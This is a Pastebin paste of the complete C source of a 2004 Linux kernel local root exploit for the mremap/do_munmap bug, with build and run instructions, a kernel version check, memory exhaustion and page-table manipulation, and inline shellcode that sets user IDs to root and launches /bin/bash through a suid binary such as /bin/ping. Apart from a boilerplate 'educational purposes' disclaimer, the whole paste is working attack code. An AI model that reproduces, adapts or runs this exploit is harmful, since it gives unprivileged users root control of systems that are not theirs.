Advertisement
TrojanCoder

LocalRoot 2.4.xx

Feb 2nd, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.21 KB | None | 0 0
  1. /*
  2.  *
  3.  *  mremap missing do_munmap return check kernel exploit
  4.  *
  5.  *  gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
  6.  *  ./mremap_pte [suid] [[shell]]
  7.  * 
  8.  *  Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
  9.  *
  10.  *  Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  11.  *
  12.  *  THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  13.  *  AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  14.  *  WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  15.  *
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <errno.h>
  21. #include <unistd.h>
  22. #include <syscall.h>
  23. #include <signal.h>
  24. #include <time.h>
  25. #include <sched.h>
  26.  
  27. #include <sys/mman.h>
  28. #include <sys/wait.h>
  29. #include <sys/utsname.h>
  30.  
  31. #include <asm/page.h>
  32.  
  33.  
  34. #define str(s) #s
  35. #define xstr(s) str(s)
  36.  
  37. //  this is for standard kernels with 3/1 split
  38. #define STARTADDR   0x40000000
  39. #define PGD_SIZE    (PAGE_SIZE * 1024)
  40. #define VICTIM      (STARTADDR + PGD_SIZE)
  41. #define MMAP_BASE   (STARTADDR + 3*PGD_SIZE)
  42.  
  43. #define DSIGNAL     SIGCHLD
  44. #define CLONEFL     (DSIGNAL|CLONE_VFORK|CLONE_VM)
  45.  
  46. #define MREMAP_MAYMOVE  ( (1UL) << 0 )
  47. #define MREMAP_FIXED    ( (1UL) << 1 )
  48.  
  49. #define __NR_sys_mremap __NR_mremap
  50.  
  51.  
  52. //  how many ld.so pages? this is the .text section length (like cat    
  53. //  /proc/self/maps) in pages
  54. #define LINKERPAGES 0x14
  55.  
  56. //  suid victim
  57. static char *suid="/bin/ping";
  58.  
  59. //  shell to start
  60. static char *launch="/bin/bash";
  61.  
  62.  
  63. _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,       
  64.       ulong, e);
  65. unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
  66.              unsigned long new_len, unsigned long flags,
  67.              unsigned long new_addr);
  68.  
  69. static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
  70. static int i, pid=0;
  71. static char *env[2], *argv[2];
  72. static ulong ret;
  73.  
  74.  
  75. //  code to appear inside the suid image
  76. static void suid_code(void)
  77. {
  78. __asm__(
  79.     "       call    callme              \n"
  80.  
  81. //  setresuid(0, 0, 0), setresgid(0, 0, 0)
  82.     "jumpme:    xorl    %ebx, %ebx          \n"
  83.     "       xorl    %ecx, %ecx          \n"
  84.     "       xorl    %edx, %edx          \n"
  85.     "       xorl    %eax, %eax          \n"
  86.     "       mov $"xstr(__NR_setresuid)", %al    \n"
  87.     "       int $0x80               \n"
  88.     "       mov $"xstr(__NR_setresgid)", %al    \n"
  89.     "       int $0x80               \n"
  90.  
  91. //  execve(launch)
  92.     "       popl    %ebx                \n"
  93.     "       andl    $0xfffff000, %ebx       \n"
  94.     "       xorl    %eax, %eax          \n"
  95.     "       pushl   %eax                \n"
  96.     "       movl    %esp, %edx          \n"
  97.     "       pushl   %ebx                \n"
  98.     "       movl    %esp, %ecx          \n"
  99.     "       mov $"xstr(__NR_execve)", %al   \n"
  100.     "       int $0x80               \n"
  101.  
  102. //  exit
  103.     "       xorl    %eax, %eax          \n"
  104.     "       mov $"xstr(__NR_exit)", %al     \n"
  105.     "       int $0x80               \n"
  106.  
  107.     "callme:    jmp jumpme              \n"
  108.     );
  109. }
  110.  
  111.  
  112. static int suid_code_end(int v)
  113. {
  114. return v+1;
  115. }
  116.  
  117.  
  118. static inline void get_esp(void)
  119. {
  120. __asm__(
  121.     "       movl    %%esp, %%eax            \n"
  122.     "       andl    $0xfffff000, %%eax      \n"
  123.     "       movl    %%eax, %0           \n"
  124.     : : "m"(old_esp)
  125.     );
  126. }
  127.  
  128.  
  129. static inline void cloneme(void)
  130. {
  131. __asm__(
  132.     "       pusha                   \n"
  133.     "       movl $("xstr(CLONEFL)"), %%ebx      \n"
  134.     "       movl %%esp, %%ecx           \n"
  135.     "       movl $"xstr(__NR_clone)", %%eax     \n"
  136.     "       int  $0x80              \n"
  137.     "       movl %%eax, %0              \n"
  138.     "       popa                    \n"
  139.     : : "m"(pid)
  140.     );
  141. }
  142.  
  143.  
  144. static inline void my_execve(void)
  145. {
  146. __asm__(
  147.     "       movl %1, %%ebx              \n"
  148.     "       movl %2, %%ecx              \n"
  149.     "       movl %3, %%edx              \n"
  150.     "       movl $"xstr(__NR_execve)", %%eax    \n"
  151.     "       int  $0x80              \n"
  152.     : "=a"(ret)
  153.     : "m"(suid), "m"(argv), "m"(env)
  154.     );
  155. }
  156.  
  157.  
  158. static inline void pte_populate(unsigned addr)
  159. {
  160. unsigned r;
  161. char *ptr;
  162.  
  163.     memset((void*)addr, 0x90, PAGE_SIZE);
  164.     r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
  165.     ptr = (void*) (addr + PAGE_SIZE);
  166.     ptr -= r+1;
  167.     memcpy(ptr, suid_code, r);
  168.     memcpy((void*)addr, launch, strlen(launch)+1);
  169. }
  170.  
  171.  
  172. //  hit VMA limit & populate PTEs
  173. static void exhaust(void)
  174. {
  175. //  mmap PTE donor
  176.     t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
  177.           MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  178.     if(MAP_FAILED==t)
  179.         goto failed;
  180.  
  181. //  prepare shell code pages
  182.     for(i=2; i<LINKERPAGES+1; i++)
  183.         pte_populate(victim + PAGE_SIZE*i);
  184.     i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
  185.     if(i)
  186.         goto failed;
  187.  
  188. //  lock unmap
  189.     base = MMAP_BASE;
  190.     cnt = 0;
  191.     prot = PROT_READ;
  192.     printf("\n"); fflush(stdout);
  193.     for(;;) {
  194.         t = mmap((void*)base, PAGE_SIZE, prot,
  195.              MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  196.         if(MAP_FAILED==t) {
  197.             if(ENOMEM==errno)
  198.                 break;
  199.             else
  200.                 goto failed;
  201.         }
  202.         if( !(cnt%512) || cnt>65520 )
  203.             printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
  204.             base+PAGE_SIZE); fflush(stdout);
  205.         base += PAGE_SIZE;
  206.         prot ^= PROT_EXEC;
  207.         cnt++;
  208.     }
  209.  
  210. //  move PTEs & populate page table cache
  211.     ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,   
  212.              MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
  213.     if(-1==ret)
  214.         goto failed;
  215.  
  216.     munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
  217.     t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,       
  218.          PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
  219.          0);
  220.     if(MAP_FAILED==t)
  221.         goto failed;
  222.  
  223.     *t = *((unsigned *)old_esp);
  224.     munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
  225.     printf("\n[+] Success\n\n"); fflush(stdout);
  226.     return;
  227.  
  228. failed:
  229.     printf("\n[-] Failed\n"); fflush(stdout);
  230.     _exit(0);
  231. }
  232.  
  233.  
  234. static inline void check_kver(void)
  235. {
  236. static struct utsname un;
  237. int a=0, b=0, c=0, v=0, e=0, n;
  238.  
  239.     uname(&un);
  240.     n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
  241.     if(n!=3 || a!=2) {
  242.         printf("\n[-] invalid kernel version string\n");
  243.         _exit(0);
  244.     }
  245.  
  246.     if(b==2) {
  247.         if(c<=25)
  248.             v=1;
  249.     }
  250.     else if(b==3) {
  251.         if(c<=99)
  252.             v=1;
  253.     }
  254.     else if(b==4) {
  255.         if(c>18 && c<=24)
  256.             v=1, e=1;
  257.         else if(c>24)
  258.             v=0, e=0;
  259.         else
  260.             v=1, e=0;
  261.     }
  262.     else if(b==5 && c<=75)
  263.         v=1, e=1;
  264.     else if(b==6 && c<=2)
  265.         v=1, e=1;
  266.  
  267.     printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
  268.         un.release, v? "YES" : "NO", e? "YES" : "NO" );
  269.     fflush(stdout);
  270.  
  271.     if(v && e)
  272.         return;
  273.     _exit(0);
  274. }
  275.  
  276.  
  277. int main(int ac, char **av)
  278. {
  279. //  prepare
  280.     check_kver();
  281.     memset(env, 0, sizeof(env));
  282.     memset(argv, 0, sizeof(argv));
  283.     if(ac>1) suid=av[1];
  284.     if(ac>2) launch=av[2];
  285.     argv[0] = suid;
  286.     get_esp();
  287.  
  288. //  mmap & clone & execve
  289.     exhaust();
  290.     cloneme();
  291.     if(!pid) {
  292.         my_execve();
  293.     } else {
  294.         waitpid(pid, 0, 0);
  295.     }
  296.  
  297. return 0;
  298. }
  299.  
  300. // milw0rm.com [2004-03-01]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement